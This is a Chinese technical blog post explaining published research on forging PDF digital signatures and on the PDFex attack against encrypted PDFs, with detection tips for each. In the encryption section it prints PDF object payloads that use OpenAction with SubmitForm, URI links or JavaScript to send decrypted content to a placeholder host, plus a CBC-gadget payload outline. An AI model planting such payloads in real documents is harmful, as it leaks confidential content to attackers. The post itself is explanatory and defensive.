WC!咱平时使用的PDF,原来这么不安全?

1,162 阅读12分钟

早前,在2019年3月初,来自明斯特大学及波鸿鲁尔大学的德国研究人员称,他们已经设法利用新发现的漏洞,并成功地攻破了PDF文件中的数字签名。

随后,2019年10月再次披露: 加密PDF存在PDFex漏洞。

最后,于2019年12月27号,在36届C3混沌黑客大会上进行了攻破PDF签名攻破PDF加密两个议题的分享。

那么,这次闹得沸沸扬扬的PDF安全事件,到底是怎么一回事儿呢?下面容我细细道来。

一、PDF的现状

随着网络的发展,PDF的使用也越发的频繁。据2015年统计,互联网上存在约16亿份PDF文件,同时据Adobe官方称,仅在2017年,他们就大约处理了80亿个数字签名的PDF文件。

那么大家是否在生活中也经常见到,一些企业公司开出的PDF电子发票呢?

包括亚马逊等电商企业,实际上也是使用的PDF电子发票。而这些发票的背后,都是有着数字签名的保护。很显然,带有数字签名的PDF文件在许多国家和地区都是具有法律效力的!

而另一方面,一些银行等企业,慢慢开始使用加密PDF来作为加密电子邮件的替代品。一些政府机构同样允许使用加密、带签名的PDF来进行身份认证,包括美国等国家。

可见,签名、加密PDF在我们身边具有广泛的应用!

二、签名PDF的攻破

1、PDF文件结构

首先,简单地介绍一下PDF格式,如下图:

每个PDF文件都由四个主要部分构成的,分别是文件头、文件体、Xref交叉引用表以及文件尾追踪器:

  1. 文件头:标注了PDF的版本
  2. 文件体:显示用户看到的PDF正文内容
  3. 交叉引用表:列出主体内的对象及显示内容位置的目录
  4. 文件尾:PDF阅读器阅读文档的第一步,它包含了两个重要参数,告诉PDF阅读器应该从哪里开始处理文件,以及交叉引用表的地址。

PDF规范还有一个增量更新功能,允许用户标记部分文本并留下评论。本质上,数字签名也是一种增量更新,即向文件中添加另一个元素和相应的部分。

下面我们来看看,如何通过相关手段,修改一个数字签名的PDF文件,且修改后仍然“签名有效”!

2、增量保存攻击ISA

这是一种很基础、简单的攻击,由于PDF支持增量更新,因此攻击者可向文件增量添加内容以达到目的。如下图:

实验者先后通过:

  1. 直接向文本编辑器中的PDF中增量添加内容 准确来说,该操作并非攻击利用,而只是一个常规的增量更新,一些阅读器打开文件时会提示说签名有效,但文件内容被修改,而一些阅读器甚至连这种提示都不会有。因此一些没有经验的用户,很有可能就会被成功欺骗。
  2. 增量添加内容后,并删除PDF文件的最后两部分
  3. 增量添加内容后,并删除PDF文件的交叉引用表
  4. 增量添加内容后,删除PDF文件的最后两部分,再把原数字签名复制到末尾

以上四种方式,前后成功骗过了包括Foxit、MasterPDF等50%的PDF阅读器。

3、签名包装攻击SWA

对文件签名,说白了就是将两个重要的签名字段增量更新到文件体中,即包含签名内容/Contents字段和描述签名相关参数/ByteRange字段。

/ByteRange字段有四个参数,分别是:

  1. 文件的起点
  2. 数字签名前的字节数
  3. 数字签名结束的字节位置
  4. 数字签名后的字节数

具体可参见下图左:

我们知道,电子签名是给指定内容进行签名,因此用于存储签名本身的存储区域无法被进行签名计算。

因此实验者试图去调大/ByteRange字段的第三个参数值,这样,文件就出现了一个额外的区域(上图右的红色区域),能够放置任何内容。

当然理论上说,如果PDF阅读器“工作正常”,那么用户是无法看到这个额外区域的内容的。然而实验发现77%的阅读器却都能看的这个区域的内容。

4、通用签名伪造USF

如上图,实验发现:

  1. 签名字段/Contents及签名参数字段/ByteRange就算被删除,依然有部分阅读器验证通过了签名。
  2. /Contents/ByteRange字段,就算值改为空、null、0x00、其他值,同样依旧有PDF阅读器认可其文件签名。

综上,签名是完全可以进行伪造、修改的。

5、影响范围

以下是上面三种攻击,相关PDF阅读器的受影响情况。显然,只有Adobe Reader 9没有受到相关影响,然而搞笑的是,Adobe Reader 9只有Linux用户因为缺少更新的可用版本才会不得已地使用到它!

6、针对签名PDF攻击的检测

  • ISA攻击的检测 观察图中ISA攻击的三种方式可以看出,和正常PDF文件结构相比,均不是以Xref Table+Trailer结尾。即%%EOF结尾符的上面没有trailerxref字符串,而直接就是obj+endobj形式的文件体。

  • SWA攻击的检测 同样我们观察图中SWA的攻击,可以看出,和正常PDF文件相比,会出现至少两个/ByteRange!这是很显然的一个异常点。

  • USF攻击的检测 我们知道,一个签名后的PDF文件,必然会存在一个TransformMethod/DocMDP,它用于检测文档相对于最原始签名字段的修改。 因此如果存在上述字符串,但/Contents/ByteRange字段却存在个别或两个都不存在的情况,则有可能是USF攻击。此外,如果/Contents/ByteRange字段值为空、null、0x00,也有可能是USF攻击。

三、加密PDF的攻破

针对目前慢慢走向大众化的加密PDF,其机密性是否就真的牢不可破呢?

答案是否定的!事实上,确实存在着:无需密码就能读取加密PDF文件内容的方法,这就是PDFex,一个利用PDF标准规范的安全漏洞来达到攻破加密的目的。

当然这里需要重点强调的是:该攻击,并不是说攻击者可以利用该攻击来获得或绕过密码,而是在受害者打开该文档时,使内容泄漏给远程攻击者

那么,这个PDFex攻击到底是怎样一个东西呢?

首先,请允许我感叹一下:历史总是惊人地相似!

2018年,爆出《PGP与S/MIME两种邮件加密协议存在的重大安全漏洞,致使加密邮件形同裸奔》,而该漏洞的攻击方式存在两种:

  • 直接泄出:首先攻击者截取到邮件后,重新包装一封新邮件,而将老邮件作为新邮件的内容。受害者接收并解密后成功后,再利用IMG标签src属性,将解密后的明文发送到攻击者的服务器上。
  • CBC/CFB小工具攻击:利用CBC加密模式的可扩展特性(即解密时不会检查密文完整性),同时邮件客户端也没有进行邮件的完整性验证,因此攻击者可以修改捕获的密文,替换邮件中的已知明文为payload,最后将邮件泄出。

而本次要说的这个PDFex,同样存在两种类似的攻击方式:

  • 不触碰密码学范畴,但只适用于部分加密的直接渗透攻击
  • 利用CBC加密模式的可扩展特性的CBC小工具攻击

1、直接渗透攻击

由于标准文件规范是支持部分加密的,即允许仅PDF文件体的正文等进行部分加密,而PDF文件尾、交叉引用表等其他PDF结构对象,则保留未加密状态。因此,对明文密文混杂的支持,就给了攻击者有机可乘的机会。

具体我们看下图:

上图是一个PDF文件结构图(把一个PDF文件拖到notepad++里面的大概样子),其中只有PDF正文(4 0 obj)和其中嵌入文件(5 0 obj)被进行了加密,而其他定义PDF文档结构的对象则保持未加密状态。

因此,攻击者添加了图上两处红色payload:

  • 第一段红色payload 使用了PDF规范中的OpenAciton函数,该函数用于触发PDF打开动作,即当PDF被打开时会立马触发,随即调用7 0 obj,也就是我们的第二段payload;

  • 第二段红色payload 没有给出具体的payload代码,{URI/SubmitForm/JS}的含义可理解为:可通过超链接(URI)、表单提交(SubmitForm)和JavaScript三种方式,将4 0 obj5 0 obj发送给攻击者服务器,即存在着多种渗透通道。

PDF规范支持URI/SubmitForm/JS这三种交互方式,不过具体的PDF阅读器(规范实现者)可能有些不支持表单提交,而有些限制JavaScript的支持,甚至默认情况下禁用了JavaScript。

2、CBC小工具攻击

由于PDF加密是采用的AES算法,以及密码块链接(CBC)加密模式,而不会对密文进行完整性检查,因此可被攻击者修改利用。

攻击者会使用CBC小工具将PDF文档中存在的部分明文更改为一段payload,当合法用户打开文件时,嵌入的payload将会得到执行,从而将文档发送到攻击者指定的站点。

3、影响范围

实验者对常用的27种PDF阅读器做了相关测试,无论是哪个平台的PDF阅读器,两种攻击方式中总有一种能攻破,甚至绝大部分阅读器两种攻击方法都适用。

4、针对加密PDF攻击的检测

直接渗透攻击的检测

从上面的攻击利用得知,攻击者必须会在文件打开前,使用一个OpenAction函数,进行第一步的打开触发操作。

因此第一个特点就在于:PDF的第一个结构对象(即从1 0 obj到endobj区间内),必然存在一个OpenAction函数

接着会通过三种渗透通道中的其中一种进行数据外传:

  • 使用Form表单外传的payload:

    1 0 obj
      << /Type /Catalog
       /Pages 2 0 R
       /AcroForm << /Fields [5 0 R] >> % Removed "6 0 R" here to get a normal/unsuspicious cursor
       /OpenAction 7 0 R
      >>
    endobj
    
    7 0 obj
    << /Type /Action
       /S /SubmitForm
       /F << /Type /FileSpec /F /http#3A#2F#2Fp.df#2Fexfiltration#2F /V true /FS /URL >>
       /Flags 4 % SubmitFDF=0, SubmitHTML=4, SubmitXML=32, SubmitPDF=256
      >>
    endobj
    

    显然存在SubmitForm提交关键词、/http#3A#2F#2Fp.df#2Fexfiltration#2FURL地址等敏感字符串!

  • 使用超链接外传的payload:

    1 0 obj
    << /Type /Catalog
       /Pages 2 0 R
       /URI << /Base /http#3A#2F#2Fp.df#2Fexfiltration#2F >>
       /ViewerPreferences << /DisplayDocTitle true >>
       /OpenAction 7 0 R
      >>
    endobj
    
    

    会在第一个结构对象中定义形如/http#3A#2F#2Fp.df#2Fexfiltration#2F的URL,随后会在7 0 obj中去拿该URL进行跳转。

  • 使用JavaScript外传的payload:

    7 0 obj
    << /Type /Action
       /S /JavaScript
       /JS /app.launchURL#28#22http#3A#2F#2Fp.df#2Fexfiltration#2F#22#2Bthis.getAnnots#28#29#5B0#5D.contents#29
      >>
    endobj
    
    

    研究过多个不同阅读器的相应payload,有些是先使用OpenAcion函数触发,随后触发相关JS。有些是直接通过stream流把JS代码包装到第一个结构对象中。 但是万变不离其宗地均会使用以下代码:

    • 使用app.launchURL("URI")SOAP.request({cURL:"URI",oRequest:{},cAction:""})代码来加载URL
    • 使用this.getAnnots()[0].contentsutil.stringFromStream(this.getDataObjectContents("x.txt",true),"utf-8")代码来获取正文内容

    最后再进行URL组装,外传到攻击者服务器。

CBC小工具攻击的检测

发现攻击者在使用CBC小工具进行payload写入时,由于对最后一个字节值的不确定,会使用256个可能的值(0x00到0xFF)来进行一一试探。payload如下:

1 0 obj
  << /Type /Catalog
    /AcroForm << /Fields [<< /T (x) /V 2 0 R >>] >> 
    /OpenAction [3 0 R 4 0 R ... 259 0 R] 
  >>
endobj

2 0 obj
[encrypted data]
endobj

3 0 obj
  << /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x00> >>     // guessing last byte
endobj

4 0 obj
  << /S /SubmitForm /F <CBC gadget as form URL ⊕ 0x01> >>     // guessing last byte
endobj
...
258 0 obj
  << /S /SubmitForm /F <CBC gadget as form URL ⊕ 0xFF> >>     // guessing last byte

因此会存在至少256个SubmitForm或超链接等提交,同时第一个结构对象中,OpenAction函数会对应去调用这256个obj引用!

最后,这个事件也给我们大家敲响了警钟:

  • 有时标准规范的出发点是好的,但同样也许会给个别有心者创造机会;
  • 没有完整性检验的加密算法,需要考虑场景再进行慎重选择;
  • 攻击不一定就只是针对协议、规范、服务、技术等高大上的玩意儿,利用一些客户端的偏门漏洞一样没毛病,甚至障眼法又如何,只要最终达到了目的;
  • 针对窃密类的攻击,总是需要渗透通道这一先决条件,如何扼杀或控制这一通道,是我们需要考虑研究的一个议题。

引用: www.pdf-insecurity.org media.ccc.de/v/36c3-1083… www.anquanke.com/post/id/173… zhuanlan.zhihu.com/p/36934164 blog.csdn.net/steve_cui/a…